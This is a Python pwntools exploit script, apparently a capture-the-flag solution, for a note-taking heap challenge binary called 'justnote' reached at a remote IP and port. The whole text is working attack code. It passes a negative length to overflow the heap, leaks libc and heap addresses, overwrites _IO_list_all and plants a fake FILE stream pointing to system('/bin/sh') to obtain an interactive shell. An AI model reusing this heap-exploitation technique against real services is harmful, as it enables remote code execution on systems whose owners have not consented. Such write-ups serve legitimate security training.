1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| from pwn import *
def Add(p, length, content): p.sendlineafter('your choice: ', str(1)) p.sendlineafter('length of note: ', str(length)) p.sendlineafter('note: ', content)
def Delete(p, idx): p.sendlineafter('your choice: ', str(2)) p.sendlineafter('index of note: ', str(idx))
def Edit(p, idx, content): p.sendlineafter('your choice: ', str(3)) p.sendlineafter('index of note: ', str(idx)) p.sendlineafter('note: ', content)
def pwn(): BIN_PATH = './justnote' DEBUG = 0 LOCAL_LIBC = 1 context.arch = 'amd64' if DEBUG == 1: p = process(BIN_PATH) elf = ELF(BIN_PATH) context.log_level = 'debug' context.terminal = ['tmux', 'split', '-h'] if context.arch == 'amd64': libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: p = remote('210.32.4.17', 13376) elf = ELF(BIN_PATH) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug'
Add(p, 0x20, 'sunichi') Add(p, 0x20, 'sunichi') Add(p, 0x20, 'sunichi') Add(p, 0x20, 'sunichi') Add(p, 0x20, 'sunichi') Add(p, 0x20, 'sunichi') Add(p, 0x20, 'sunichi')
Delete(p, 0) Delete(p, 2) payload = 'a' * (0x4440 - 0x4220) Add(p, -9223372036854775808, payload) p.recvuntil(payload) libc_m88_addr = p.recv(6)
if LOCAL_LIBC == 1: libc.address = u64(libc_m88_addr.ljust(8, '\x00')) - (0x7f5eae196b78 - 0x7f5eaddd2000) print 'libc base:' + str(hex(libc.address))
payload = 'b' * (0x108) + p64(0x111) + 'b' * (0x108) + p64(0x111) Edit(p, 0, payload) Add(p, 0x20, 'sunichi') Delete(p, 0) Delete(p, 2) Delete(p, 4) payload = 'c' * (0x5575f99b1448 - 0x5575f99b1220) Add(p, -9223372036854775808, payload)
p.recvuntil(payload) stack_chunk_4 = p.recv(6)
heap_chunk_base = u64(stack_chunk_4.ljust(8, '\x00')) - (0x55ca81101650 - 0x55ca81101210) print 'heap chunk base:' + str(hex(heap_chunk_base))
payload = 'd' * (0x108) + p64(0x111) + 'b' * (0x108) + p64(0x111) + libc_m88_addr + '\x00' * 2 + p64(libc.symbols['_IO_list_all'] - 0x10) Edit(p, 0, payload)
payload = 'e' * (0x210) + p64(0) + p64(0x61) + libc_m88_addr + '\x00\x00' + p64(heap_chunk_base + 0x440) Edit(p, 0, payload)
Add(p, 0x20, 'sunichi') Add(p, 0x20, 'sunichi') Delete(p, 2)
payload = 'f' * 0x430 + p64(0) + p64(0x110) + p64(0) + p64(libc.symbols['_IO_list_all'] - 0x10) Edit(p, 0, payload)
payload = 'g' * (0x210) fake_stream = '/bin/sh\x00' + p64(0x61) fake_stream += p64(0) + p64(libc.symbols['_IO_list_all'] - 0x10) fake_stream += p64(heap_chunk_base) + p64(heap_chunk_base + 1) fake_stream = fake_stream.ljust(0xa0, '\x00') fake_stream += p64(heap_chunk_base + 0x300 - 0x10) fake_stream = fake_stream.ljust(0xc0, '\x00') fake_stream += 3 * p64(0) + p64(heap_chunk_base + 0x300 - 0x8)
payload += fake_stream payload += p64(2) payload += p64(3) payload += p64(libc.symbols['system']) + p64(0) * 0x20 Edit(p, 0, payload)
Add(p, 0x70, 'hack by sunichi') Delete(p, 2)
p.interactive() p.close()
if __name__ == '__main__': pwn()
|